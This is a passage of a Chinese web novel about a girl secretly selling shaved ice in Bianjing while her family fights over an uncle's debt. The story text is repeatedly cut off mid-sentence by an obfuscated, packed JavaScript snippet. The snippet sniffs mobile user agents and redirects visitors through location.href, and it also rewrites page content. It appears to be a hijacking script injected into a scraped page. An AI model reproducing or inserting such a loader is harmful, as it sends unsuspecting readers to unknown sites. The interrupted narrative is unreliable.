她是想的美妙,可对方似乎有跟她走的意思,当即开口:“你,今晚住这,不许跟我回家。” 梁文宇眼中充斥疑惑神情,幽幽道:“为何?” “我本瞒着家中偷偷出来支摊子做生意,若是叫人发现岂不要遭罪。”阿瑶转身同他解释起来,“你且先住下,日后等我挣钱了便能置个好宅子。” “好。”梁文宇回答得很自然,他解开发带重新为自己梳妆,此刻的他脸上斑驳的很,丝毫未有前几日富家公子哥模样。 阿瑶瞧见对方额头沁出的汗珠:“冰桶中有些蜜沙冰,你若是不嫌弃可自行拿来吃。” 瞅对方并未动手自取,阿瑶亲自端了小份摆在他面前:“请你吃,不用钱。” 那碗中盛着煮熟的蹲鸱(芋头)同冰一起冻成块,再用刨子削成薄薄的片状,头顶点缀少量罗松子(松仁),中心红红一点放了颗红枣仁。 这是她提前想到的好点子,能够应对不时之需,但做工相对繁琐了些。 光看卖相便知道东西好吃,样式又是汴京内外从未见到过的款式。 她备下五碗来试探食客对新品的喜好,方便后续进行改良。 东西被推到梁文松面前,酷暑难耐碗中冒着令人愉悦的丝丝凉气,他喉结微动,视线轻瞟而过:“不必。” “这是明日打算卖的新品。”阿瑶检查完冰桶内部温度,抬头道,“就当你今日的报酬。” 她忙的很,要赶在酒楼打烊前清点完物料,以及明早要赶去东巷购买新鲜蔬果,好做蜜沙冰周边装饰物。 制作蜜沙冰还需用到熟透果子做为底料,昨日她阿爹熬制过程中散发出来的果香就已经差点让店家发现,多亏她机智寻了个由头搪塞过去。 熬煮果酱可非小事一件,熬煮过程中需不断加入少量糖做为辅助,还必须小火慢熬,直到起泡,汤汁粘稠才算成功。 因卖出的份数并不多,阿瑶每种果酱熬制装罐有所剩余皆统一存入冰桶内保温,份量少些也足够卖上好几日。 若皆按今日量给,只怕这些顶多勉强撑过明日,如今看来她还得找个地方熬煮果酱,靠她阿爹少量多次偷摸中得来的小恩小惠已经万幸。 可不能再让阿爹为难。 阿瑶坐在酒楼大门下台阶上等许老大下工一同回家,而她得出现遭到店家注意。 “小姑娘,我突然改变主意想同你合作。”店家长着络腮胡的长脸,笑脸莹莹却给人一种精明感。 “店家想如何合作?”阿瑶抬头张望。 “你三我七。”店家眼珠子咕噜噜转着,脑袋内早早盘算好了话,就差说给阿瑶听。 阿瑶心头一算,立刻回绝道:“不行,必须五五分。”定是熬煮果酱的理由太过于敷衍了事,叫人起了疑心。 “外头什么行情想必你也知道,花楼生意火爆,连达官贵人们都时常光顾。”店家说得格外轻巧,眉目中多有打量神色,眸色略沉,“本想日后大家相互帮衬一把,如今看来是不必了。” 阿瑶原本心中定价颇高,五五分对她而言已多有忍让,稳住心态:“三七分未免有些过了,即便是五五,对您而言不过是些手中流出去的小钱,可对小女那便是救命稻草,您再好好考量考量。” “既没打算合作之意,不如将法子卖于我。”店家见阿瑶没松动迹象,转变话题。 阿瑶笑着婉拒道:“此乃独家秘方,不可外传。” 店家见阿瑶油盐不进,气得甩了衣袖离去,走时脸色甚是难堪。 许老大下工后,心中念着阿瑶,夹带了份店里多的吃食出来,半指甲盖厚的藕片中间嵌入肉馅裹上面糊,等油温六成热时下锅,中小火慢炸,然后捞出锅再复炸,呈现两面金黄便可出锅。① 她刚拿到手时还热乎着,一口下去外表酥脆中藕片清香和肉汁的充分混合,口感丰富,唇齿间泛着油光。 她竟然不知阿爹手艺如此好! 看来她得加快速度了! 阿瑶瞒着家中长辈假借务工由头到镇子上摆摊已有多日,虽然卖出去的数量不多,仅仅只有七八碗,但大多数时候其余食客还是吃惯先前口味,极少有愿意冒险尝试新事物。 对阿瑶哪些好看的冰饮怀疑,尤其是有几种他们之前见都未曾见过的颜色。 汴京夜晚历来开放的很,女子做生意也并非只有她一人,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你可知周边那处有小宅借租?”阿瑶寻来寻去没见过出租厨房的,这几日劳烦她阿爹趁店家不在偷偷熬煮出来的果酱余下两三罐,挡一挡还行,可近期生意似乎有往好处增长,她任然担心物料不足。 梁文宇贴近她身旁,细长眸子中流转思考神情,片刻道:“过桥往东南位置走的确有一间宅子,听闻曾出过事,荒废许久。不知你敢不敢住?” 出过事?价钱肯定好商量!阿瑶未带思索,脱口而出:“住!明日我就去瞧!” 就在两人商量完宅子事,前脚刚吃完蜜冰沙花楼的轿夫便突发状况倒地未起。 周边有人伸手去摸鼻尖时已没气息,周围摊贩将一切罪过全责怪在阿瑶身上!相互诋毁起来,一句接一句,话语难听。 阿瑶心头一紧和梁文余相互对视一眼,两人分头行动,阿瑶赶忙跑到轿夫身边,凭借前世急救课所学对人做了简单处理,好在大夫来的及时挽救回一条性命。 随后,将人送往医馆调理,周边人逐渐散去,一夜流传起阿瑶所做冰饮会收人性命的言语。 5. 分家前(五) 此事不知怎么钻进许老大耳内,向来护短的他丢下厨房忙碌活,直冲去摊子找阿瑶询问究竟。 他到时阿瑶刚回来,摊子前原本挂着的木牌被人摘下扔在地上,上头还有几个黑脚印,阿瑶正用袖子拼命擦,低落的模样叫许老大心疼。 “阿瑶,走回家,冰饮以后咱不卖了,阿爹养得起你。”许老大没问原因,一门心思的相信他闺女。 阿瑶抬头解释起来:“爹,食客并非是吃了我做的东西生病,而是他原就有心悸,劳累过度又加上吃的快。” 她为轿夫垫付了医药费,又留梁文宇在那照顾他直至苏醒,她则回来收拾摊子。 好在梁文宇未曾回来,否则当着阿爹面该如何解释他们关系。 许老大紧张心情顿时放松下来:“那就好,那就好。” “今日是卖不成了,我先回去休整。”阿瑶打算去瞧瞧梁文宇说的宅子,不过她要先回家一趟去取些银钱。 立马收拾摊子,乘坐同村驴车回去。 人还没进院,就听见里头吵吵嚷嚷,动静不小,好像有十几号人在院中拉扯,阿瑶扒拉开条小缝,带头的人派人抓了她小叔伯要挟阿嬷还钱,看样子是来要债的。 阿瑶估摸一时半会儿平息不了,想着无事跑到后山去找些野果可以研究处出新品。 转身走人时,阿嬷突然开门叫住她:“阿瑶,回来。”她将门掩实。 “先前官爷交于你的银票可否先借阿嬷。”许陈氏拉下一张老脸,低声下气同阿瑶说话。 “阿嬷说迟了。”阿瑶转身对许陈氏说道,“银票早拿去赎回卖身契了。” 许陈氏当即脑子充血,整个人快要晕过去一般,粗糙手掌撑住门框防止摔倒:“造孽啊!怎么就生了个混账东西!” 院子开始嚎叫起来,简直如同杀猪,哭泣声一阵接连一阵。 “阿娘,救救我,我不想去坐牢...”许老二抱住柱子开始哀嚎。 许陈氏年纪大听不得这些话,她历来偏爱小儿,如今这种局面怎么都得护住小儿子。 “我可怜的儿啊!”许陈氏转身回屋里掏出私房钱和棺材本,勉强凑出了二十两银子,双手颤颤巍巍递到要债人手里:“爷,您看我们先还一半可好,后面请您给点时间,让我们凑一凑,凑一凑。” 对方夺过银子收进腰间:“再给十日,若是凑不齐。”说着目光从许老二身上转开落到对面阿瑶身上,“总该交出一人来!” 许陈氏目光锐利一眼便看懂了对方神色,点头附和道:“是,是,是,我们定想办法补齐。” “十日后,本金加利息共一百五十两,到时我会亲自来收。”说完带人离去。 阿瑶站在院门口见有人出来往后退了一步让位,她眼神有些担忧,垂眸思考,没听错吧!一百五十两!小叔伯又去借贷了? 人走后,屋子里躲着的小叔母也出来了,眼眶红红刚哭过:“娘,您救救我们,去求求大哥。” “是啊,娘,大哥他定然有法子。”许老二跟着说道。 许陈氏:“你大哥他本就气我私买阿瑶,如今又要替你还在债,你自己去同你大哥说!” 三人似乎注意到门口站着的阿瑶,小叔母走到许陈氏身边嘀咕了几句,眼神落到阿瑶身上,眼珠里算计起来。 “阿瑶,你过来,到阿嬷这来。”许陈氏招手叫唤她。 阿瑶跨进门,步伐落在距离许陈氏三米远的地方停下,这个宽度适合她逃跑:“阿嬷是打算要再卖我一回吗?” 许陈氏内心所想被阿瑶毫不掩饰说了出来,老脸有些僵住,随后笑道:“怎会,阿嬷身边只有你这一个女娃,自然是要留下。” “既然要留下,那阿嬷打算如何偿还一百五十两。”阿瑶反问道。 许陈氏朝阿瑶走近,眉目慈祥,拉起小手轻拍了几下:“好孩子,家里独你最大,阿嬷老了,往后家里要靠你帮衬着。” 虽然许陈氏所说的话阿瑶多半左耳进右耳出,若非前面看透了她真实面孔,阿瑶指不定哪天就轻易听信了这些话,最后被卖了还偷乐。 这些哄骗小孩话,阿瑶面上装作懂事,实则背地里琢磨该如何应对。 “阿嬷心疼我们几个小,可您在怎么都是我的血亲,这件事还是告知阿爹为好。”阿瑶将手从阿嬷手心抽离,面上维持僵硬笑容,嘴角都差点抽搐。 许陈氏:“好,等你爹回来,阿嬷亲自同他说。” 阿瑶顺利摆脱祖母纠缠,小跑进屋关紧门窗才敢翻找银两,手心掂量几下揣进怀里开门左右看了几回,趁人不注意跑出门去。 宅子坐落小桥东南角最偏处,院子破落,杂草丛生。 阿瑶去时有官牙带着人正看着,她不知宅子之前发生过什么事,只知价格便宜。 凑到一旁听了些八卦,才知晓原宅子主人牵扯进一桩案子,最后吊死在房梁下,后头就传开了屋子闹鬼一事。 先前大伙儿还不信此时真假,只当是有人故意为之,可后来先后来了几位租客,皆都被屋中鬼怪一说吓跑,久而久之便没有人敢来。 自从官牙对此处头疼的很,唯有降价吸引人。 官牙带人从宅子出来,那客人脸色都变了又变,步履慌张的走开,阿瑶冒出头:“官爷,这宅子我想租。” “小姑娘,你可知这房子事?”官牙做生意实话实说,“前后看过好几户人家,都因为宅子不干净搬走,你确定要租?” “自然,我既不相信世界上有鬼神之说,都是以讹传讹的流言。”阿瑶看宅子外表几乎符合她心中所想,“您报个价,长期租和购置分别需花销多少。” 官牙见阿瑶坚持,调低了价格:“月租三两,购置费加上手续费共三十五两。” 她手上只有三十两,还差五两,可若是全价购买,那手中便没钱财剩余。 “月租便可。”阿瑶掏出银钱放入官牙手中,“劳烦您快些写下文书。” 官牙正愁此宅无人租, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430098|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿瑶出钱租下,官牙脚程都快了些替她把文书都办了下来。 午后阿瑶带着梁文宇,将之前租的仓库退了,把冰桶推到宅子里开始打扫起来。 梁文宇似乎没料到阿瑶速度如此之快,他自来也不信鬼,比起那些人心才是最难琢磨。 冰桶里保存了阿瑶昨日新购买的果子,她打算熬煮果酱,可旧宅外廊下厨房空荡一片,铁锅被雨水长久侵蚀铸断了底,头顶瓦砖残缺,窗槛断了半面挂在门框上摇曳,蛛丝布满墙角,推门而入扑面而来的细沙灰尘将人呛住。 外沿围墙缺了个角,阿瑶学着泥瓦匠模样将石头连同泥巴糊上墙,收拾干净后添置物件进去,竟有一种家的感觉。 铁锅外围用稻草围住固定,再糊了层黄泥上去,等它干透已贴近黄昏。 两人瘫坐在屋中圆椅上,这些东西是从边上厢房收拾出来的,阿瑶瞧擦干净还能用便没舍得扔,对她而言能省下一笔是一笔。 “多谢。”阿瑶对梁文宇道谢,果然公子哥办起事比她妥善多了。 家中阿嬷时刻惦记将她换取钱财,阿瑶厌烦了很不想回去,本借务工为由晚些回去也好,她去集市采购物件时顺带买了食材回来,不光是冰饮做的好,吃食也拿手。 阿瑶手起刀落将鱼开膛破肚腌制起来,接着处理时蔬,天气炎热肉类吃多尽显油腻,清爽蔬菜刚好让本就食欲不佳的胃口改善些。 吃完饭,阿瑶开始熬煮今日新鲜购入的李子,洗净挖去果核切成小块后,需要先浸入盐水泡几分钟捞出控干,再同糖一并倒入铁锅中加入适量水,煮至李子呈透明色,并溢出甜甜的香味时可根据酸度添加少量蜜糖。① 装罐储存后,阿瑶将灶台收拾干净,院子的杂草并非一日就能处理完成的,她想着能多整理一些,徒手拔起来却在其中发现一株小麦,穗头下垂,金黄麦穗颗粒饱满。 看到这里,阿瑶瞬间想到了可用小麦制作麦芽糖。 阿瑶晚间还要出摊,梁文宇用晚餐不知跑去何处,独留阿瑶一人进出。 受昨日事件印象,阿瑶摆摊一个时辰有余,往常这时都该卖出三四碗了,今日却一碗都还未买出去。 周围小摊像是联手起来对付阿瑶,大家伙儿并未耽误对方,偏偏只针对她一人,想来想去一下明白了。 阿瑶又往木牌上添了几个字,落完笔,那位时长来吃蜜冰沙的轿夫亲自过来了,看走姿好似还没恢复全。 “小姑娘,多谢你出手相助才有今日的我。”轿夫朝阿瑶做揖,“往后你这边的蜜沙冰我每日定三份回去。” “药费还请你收下。”他搁下一粒银子,“就当是我的定金。”他怕阿瑶不收,昨日事他已知晓,愧疚不已。 “没事便好。”她不求对方多照顾自己生意,只希望对方好好的。 轿夫亲自替阿瑶澄清,又帮着叫卖一波、揽客。 她借着外人口将新点子宣传出去:“快来看看,今日推出买五份蜜沙冰可送货上门。” 6. 分家前(六) 其他冰饮摊位店家听着阿瑶那些话,私底下偷笑着,什么买够五碗可送货上门,昨日事情一闹,她澄清都无用。 好在还有人被她做冰饮得新点子吸引过来,轿夫见有人过来,买叫声越发响亮。 最先靠过来的是位官差,手握佩刀正在街上巡查,得知阿瑶此处能送货上门免去白日炎热出门,也颇为愿意的。 他朝阿瑶喊道:“店家,先来一碗让我尝尝。” “您要哪种款式,前头木牌上写着大小,您先看看。”阿瑶手头帮另外一位食客打冰淋浇头。 对方点了碗阿瑶新做的李子口味沙冰,淡黄浆汁浇在冰沙上头,最底下进行改良用了少量牛乳中和李子酸,碗边放了块水木瓜雕刻出来的花朵形状。 都是些冰凉清爽之物,奶香配上酸甜果子清香,赶路累了吃上一碗很是舒服。 “冷元子冰沙?”官差瞧着物件新奇,指着木牌菜单上的冷元子冰沙,若换成冰雪冷元子他是知道也吃过的,可冷元子冰沙又是什么?吊住胃口。 阿瑶笑着说:“您平日冰饮吃的多,帮我评评看口味如何。”她虽然写着好几种款式,可是有些都从未有人吃过。 冷元子冰沙,其实是用牛乳为底,将冰沙堆在放进牛乳中,堆成小山,山头部分撒下黄豆粉再放上一勺豆沙,边上排了三颗用黄豆和蔗糖做的元子,元子做起来有些复杂,需要提前把黄豆炒熟,去壳,磨成豆粉,用砂糖或者蜂蜜拌匀,加水糅成小团子,吃起来软糯香甜①,阿瑶未曾多给,一碗只放三颗。 可阿瑶不太喜欢元子太过于软糯的口感,她想着能够对元子进行改良,将它变成现代木薯所做的芋圆,可木薯还未传入中东。 因为有官差开道,阿瑶生意有所起色,她先是把其他几位食客安顿好,自己则拿起竹筐装起琉璃碗盛得冰沙送往衙门。 阿瑶买的注碗数量少,吃的人多起来就改用琉璃碗,琉璃碗比注碗大上些,能够盛下更多冰沙,即便是亏本处理,她还是想先把口碑打起来。 衙门口站了位师爷,手中握着把黑金纸扇,阿瑶走近:“廖师爷,给您送沙冰来了。” “何人叫你所买?”廖师爷留着山羊胡,长长一捋从下巴垂到胸口。 阿瑶说了她铺子事,师爷想起来了前些时日曾见过她去衙门告状一事,阿瑶讲明是有位官爷特意过来定下让她送来,廖师爷收下竹筐说了些祝贺话语。 待人走后,他提着竹筐去后门连接宅子之地。此处有一人正等着廖师爷送去的沙冰品尝,他同吴县令两人原本商讨的就是冰价一事。 近期冰价上涨不断,寻常官员也罢,可百姓用冰吃冰本是常态,若无法稳固冰价,久而久之市场上所有冰饮店都无法靠此为生。 市面上供以吃的冰价格已经上调为五十文一块冰,在放任下去冰只能成为达官贵人的消暑佳品。 “舅父放心,我定会查出幕后之人。”他说完挖了勺冰沙放进嘴中,冰一遇热就化成水和果酱交织在一起,那股冷意从喉间滑落,就像即刻入冬般凉爽。 吴县令点头也尝了起来,他夏季很少贪凉,多数时皆是靠水解热,此刻吃的蜜沙冰比以往口感更加细腻许多,而且酸甜开胃。 “这冰沙味道极佳,是何人所做?”吴县令问道。 男子爽朗一笑:“自是手艺极好的厨娘。” 阿瑶回来时摊子前来了几位新客,全靠轿夫大叔帮忙看管,否则她摊子早没了,边上有强劲对手阿瑶一日都不敢松懈下来,她谢过轿夫大叔又送了些自己秘制的果酱给他。 摊子前突然间来了许多人,阿瑶速度还是慢了些,要递到食客面前的冰沙手上一滑掉了出去,好在有只手比她快上许多顺利接住递到食客身边。 梁文宇回来及时,他跟阿瑶出摊已有多日,拿起碗替阿瑶将冰沙从桶中挖出来,一碗碗陈列出来方便阿瑶根据食客喜好加料。 忙活中阿瑶以为自己眼花看错了人,她竟然在花楼门前看到了家中幼弟,只是他身上满是泥泞,小脸有些肿胀。 “小宇,你怎么自己跑出来了?”她忍下摊子,跑过去拉住幼弟就往摊子边带。 “阿姐快回去救救阿娘,阿嬷她同阿娘吵起来了,说是要将她打死。”小宇见到亲人哭泣起来。 阿瑶听了心中揪心一样,她阿娘不随意惹事。 “你先说与我听听,到底是何时。”阿瑶拿帕子一点点替小宇擦拭起来,这孩子跑进城少说也有几里路,紧赶慢赶裤子都给摔坏了。 小宇止住哭声抽咽道:“阿娘听到阿嬷同小叔母商量要将你抵给借贷的人,才会突然吵起来,小叔伯他欠了好多银子。” 果然,她阿嬷还是护着小叔伯一家,就连商量对策都不与阿爹说明,只想着自己痛快。 阿瑶安抚好小宇,拉他一起去花楼找许老大回家。 摊子交给梁文宇这个花花公子,阿瑶心中是放心不下,索性提前收摊,向几位食客道歉并表示明日多送一些小吃给他们。 就这样三人借了辆驴车一路往家中赶。 到时,屋子还在吵,海氏同阿嬷几乎快要扭打在一起,小叔伯站在一旁劝架,小叔母夹在两人中间。 “老婆子,你可真能耐了,亲孙女都要送去抵债,你怎么不自己去!”海氏本积怨已久,她生阿瑶时若非娘家人过来照顾,今天别说孩子,估摸着人都见不着一面,“老二欠下的债款,凭什么让阿瑶去抵,说道底不是亲生就不疼!” “老大是我亲生的,寒冬腊月里一把屎一把尿拉扯大,现在好了亲兄弟有难,全撇的干干净净,你们夫妻二人可真好。”许陈氏扯着大嗓门骂道。 海氏更气了:“是啊!亲兄弟就是条命,阿瑶就不是,要怪只能怪她自个是女儿身,不带把的什么都不是!” “赔钱东西,看我不打死你。”许陈氏挣脱小儿媳拉扯,提起扫把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430099|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝海氏挥过去,“都敢欺负到我身上了。” 许老大一把抓住他阿娘手,顺带将扫把抽离丢在地上:“娘,您前头是如何答应我的!阿瑶她是哪儿惹您不顺眼,一定要将她卖了!” 看见大儿回家,许陈氏气焰瞬时低了些,但嗓门依旧:“娘这不是心疼你么,看你如此劳累。” “儿子不累!”许老大又道:“只要阿瑶在我身边平安健康,再苦再累我都吃得!” “还不是你那不争气的弟,瞒着我们又去借了钱财,如今可不是区区五十两,是一百五十两,若十日后交不出来,你弟他...”许陈氏眼泪婆娑。 许老大叹气,他回房捧着小匣子出来,里面不多不少刚好十两白银:“眼下只有这些,剩下的银子我在想想办法,老二要是在敢乱来,下回我亲自送他去衙门。” “我手上还有二十两。”阿瑶留了三两银子私用,剩下全放进匣内。 一百五十两已经不单单是个笔小数目,十日期限远远不够他们偿还。 许老大认清现实同时为了阿瑶和幼子,他考虑良久说道:“还完二十两,便分家吧!娘您跟着老二过,我们一家四口搬出去。” 分家!这两个字引起众人目光,视线齐刷刷落到许老大身上。 许陈氏心头一震,捂住心口,瞪大苍老发黄双眼:“分家,你不要娘了?” “即便分了家,您还是我娘,只有这样大家都好。”许老大很为难,他深思熟虑后才提出来的话。 “你盼着阿娘死!”许陈氏气急了,“我活着一日,你们兄弟两人不能分家!” “好,听阿嬷的。”阿瑶扶住海氏坐下休息,“但我和阿爹只替小叔伯还其中的五十两,剩余一百两还劳烦阿嬷您自个想办法还了去。"今日应该算是阿瑶最痛快的一天 “我听阿瑶的。”许老大开口道。 几人各自回了房,心中都不痛快。 阿瑶本来想着赚了钱能赶紧还上欠款,这下可好银两越滚越多连本金都搭里头,只是她虽然产生过想分家念头,到底还是没同许老大说,今日对方自个提出来了阿瑶回屋和许老大说了些话。 她告诉许老大,自己在城里租了间一进房,范围不大,随时可以过去住。 之后为了说出梁文宇此人,阿瑶前前后后铺垫了许多话,可始终没说出两人之间是为了何事认识的。 许老大思想开明,对自家闺女买的仆从并没太多顾虑,只当是多了位生意伙伴。 女子从商虽然在汴京城并非少间,可多数时候还是需要有位男子帮助做些苦力活。 海氏心疼自己一双儿女,她得知阿瑶偷偷瞒着她做生意时非但没责怪,还多叮嘱她为人之道,而她心底还是希望能够尽快从家中分出去,独立门户。 阿瑶年级渐长,他们夫妻两人却没能为她争下些什么。 海氏私底下同许老大商量了一番尽快分家的打算。 7. 分家前(七) 阿瑶坐在屋中红烛前,两眼无光得盯着木桌上三颗白银和几十文铜钱发呆。 镇上宅子里还剩些果子,可做果酱需用糖来调味,她手头的银钱已无法购买价格最低的砂糖,就连冰块也所剩无几,冰价上涨实在太快,已经要到二两银子一斤冰,如今她手头凑合只够买两斤冰。 猛然间想到摊位边曾出现一位卖麦芽糖的师傅,逛西市时有铺子挂出过小麦五文钱一斤的招牌,说不定可利用麦子自制糖浆。 要说麦芽糖在汴京一带用到地方多,砂糖之类原本也是普通百姓经常吃的,那蔗糖价格贵些,多数时候需上贡。 阿瑶能用蔗糖来熬煮果酱多亏许老大在花楼当厨子,遥想出入花楼的人平日里可都是略有家底的富家子弟。 只不过阿瑶尝过用蔗糖做的果酱,口感虽好,可有时杂质过多。也不怪蔗糖不纯,这时候的技术还未能达到现代工业化水平。 乡下落夜温度不似白日那般高,泥瓦堆砌起来墙将热气全堵在封闭空间中,闷热的无法入睡。 她心中想着该怎么快速赚到钱财,脑子里琢磨起做糖工序,翻来覆去都毫无睡意,那二十两白银像是块沉甸甸的石板压在她心头。 躺在铺着稻草的席子上,再侧头看窗外明月,便起身朝田边小路跑。寂静夜色中,月光如灯,硕大一个挂在空中照亮着每一寸土地。 田地里有很多农户种着庄稼,而许家也有不少亩,阿瑶头回来看,眼前一整片地都是金黄麦穗,各个穗头饱满,微风从中穿过,叶子间碰撞中发出“沙沙”声。 她抓下一大把塞进口袋,直到口袋鼓鼓囊囊才回去休息。 隔天一早,她同许老大两人同时出门转折从花楼跑到租下的宅子里,掏出麦粒,洗净,统一装进铺好棉布的竹篮中,然后在表面洒上一些水,盖上竹筐避光。 她来时天边日出才冒头,宅子周边基本没人家住反到好了阿瑶,她近日总研究新品,像多出些新花样来吸引食客,毕竟遇到了缺银子的时候。 昨日那些冷元子阿瑶想着能不能改良一下口感,使它吃起来多一些嚼劲,她买了点糯米研磨成粉,试着用黄豆粉加上糯米粉和蜜糖柔成丸子再放入冰水中,果然做出来的效果更加贴合现代的芋圆口感。 梁文宇起来时阿瑶已经成功做出一批冷元子,为了能让食客挑选自己喜欢的口感,她特意把两款冷元子进行区分,一款保留原来名字,一款叫丸子。 “丫头,今日又做了什么好吃的。”梁文宇习惯了阿瑶每日绞尽脑汁变着花样的做生意。 阿瑶睨了对方一眼,未曾说话,她怎么有种为自己找了个主子的念头萌生出来! “假官,你要时刻牢记我才是你主子!”阿瑶盛起最后一些丸子倒进冰水中冷却。 “噢,是吗?”梁文宇轻浮语气说着。 阿瑶点头:“自然是。” 他勾嘴一笑,即便身上所穿粗衣麻布也抵挡不住他天生的书香气息:“那要看你有没有当主子的本事了。” 阿瑶收拾好冰桶,自打她买了这个仆从之后是样样都要亲力亲为,除去多了个人,是真的半点小忙都帮不上。 梁文宇按照往常将冰桶从宅子里拖到街上,又自主挂起招牌和支起伞架,一起就绪后就退到后头休息,留阿瑶在前面等食客。 相比前阵子,阿瑶冰饮生意是越发好了起来,尤其是官爷亲自过来点名要吃她家沙冰后,一日的生意都快超过同行,细算下来整日可收入一百二十文。 这可把阿瑶高兴坏了,她开张自此从来没收入如此之多,要知当时花楼跑堂一日也才一百文,每日都能照此发展她很快就能买下宅子。 可惜,昨日为了救小叔伯手中仅剩的二十两全拿出去了。 由于她家中有事昨日推却了很多食客,今日这些人找上门来问阿瑶购买冰沙,她私下送了人家一些许老大留给她的小吃。 汴京城内,花楼厨子手艺好是出了名的,她阿爹能从一个小厨子提拔到副手那厨艺是相当了得的,那几位食客一吃便知道是出自花楼。 “店家,这些小吃味道简直同花楼一模一样,有如此好手艺应当开家食肆才是。”其中有位食客时常光顾,他是镇上有名的文书先生,平时出入花楼颇多对里头厨子手艺很是熟悉。 周边有人附和,阿瑶笑笑点头,谦虚道:“您谬赞了,不过是想做些小本生意,要论吃食冰饮子才是我最拿手的东西。” 说到冰饮那文书先生连吃两小碗夸赞:“要说冰饮还得看小姑娘你,如此平淡之物都能做得绝美可口。”之前他食用冰饮只供消暑解渴,对口味要求极低,听好友推荐来了趟后是次次都要来上一碗。 推车除去冰桶以外多了几块木板,她让梁文宇找个地方支起来供食客坐下休息,自己则在前头为食客份打冰淋浇头。 每每回头看上一眼,后排入座都食客一波一波来去,好似有了给她一种安定与动力。 正因为靠着官爷的推崇,阿瑶冰饮摊才会走上正轨,她还是想过去谢谢人家,提上竹篮叮嘱好梁文宇后去衙门送货。 她到时,门口站着位官差正是昨日那位,阿瑶走上前去:“官爷,昨日多谢你关照,这篮里有些沙冰劳烦您送进去同其他几位衙差一道享用。 “我并非是为关照你生意,而是我家大人最近食欲不振,许少食酸物消暑,见你家冰饮子好才订下的。”他昨日奉命前去订是得廖师爷指点。 阿瑶生怕对方不收,强行塞到人手中:“原是如此,今日这些就当民女对吴县令的谢礼。” 她被骗钱财一事,府中人都见过她,因此印象深刻了些。 “想起来了,你的银钱还是我送去的。”官差接过竹篮,恍然道。 “正是。”阿瑶点头,“往后吴县令若想吃冰,可到花楼门前小摊找我。”她自报家门,得官府生意那可是门好招牌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430100|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只不过提着空竹篮回去时,阿瑶当自己看走眼,认错了人,再走近些,看着面前鲜活的人,她脸色凝重。 耳边是人群中小摊的叫卖,可她视线全定格在面前微胖妇人身上,相处多年,她岂认不出这是她小叔母。 对方未注意到她,而是正与冰饮摊前的梁文宇说话,阿瑶把所有制作流程全交给了他,算是方便自己外出采购时可顶上。 此刻,小叔母手中捧着碗洒了黄豆粉到蜜沙冰站在摊前吃起来。 阿瑶趁她转身之时,借机找了个小摊随意问起生意好叫自己不被发现。 州桥上每日都是如此的热闹,阿瑶注意被其中一个摊位上摆放的物件吸引,夏季多蚊虫,她前几日被咬的不成样子,那枚香包小巧可爱,里头装着的草药配方是阿瑶喜欢的味道。 她询问店家后买了几个带回去,家中幼弟们读书时可用,拿到手放进竹筐,她自己先系了个到腰上。 折返时并未看见小叔母,神态一松,结果肩边一沉:“阿瑶。” 她挂上笑容,甜甜叫道:“小叔母,您怎么来了。” “我进城买点东西回去,你阿嬷总说瓦罐不够,难得有空来瞧瞧,刚想回去看到你在州桥上。”小叔母架着竹篮,头顶发髻用青布包起。 阿瑶有些庆幸她没立刻回到摊位,否则叫小叔母知道她私自做生意,那些银钱估计早被阿嬷搜刮了去。 眼下全家人都在为小叔伯欠下的债款奔波劳碌,小叔母悠闲自得模样阿瑶是一点都不想见。 其实她距离冰饮摊子只有几步之遥,在此可反而方便阿瑶考察梁文宇对冰饮掌握程度,她当然不会将全部希望寄托在他人身上,只不过是为了能多赚一点钱。 两人寒暄几句,阿瑶谎称回去晚了会挨店家骂,寻了个借口草草了事,眉眼是半分都未从冰饮摊前转移。 夏日的太阳跟点了火似的,暑气慢慢升了起来,街上车辆、行人开始变多,阿瑶眼睁睁望着摊子前人增多又无可奈何。 都快赶上三步一回头了,阿瑶瞄见小叔母离去身影,恨不得赶紧回道摊子招呼客人,她接过梁文宇手中盛有冰沙的琉璃碗放入各种小料。 等忙完一阵,阿瑶从竹框里掏出香包递到梁文宇面前:“哝,这个送你。”不知怎得,他比她还招蚊虫咬。 “多谢。”梁文宇松开木勺,顺手接过挂上腰间,姿态从容到无可挑剔。 外头冰饮子生意花楼店家一清二楚,可惜先前店家与阿瑶做交易没谈成,如今看着人家越来越好,心思动了又动。 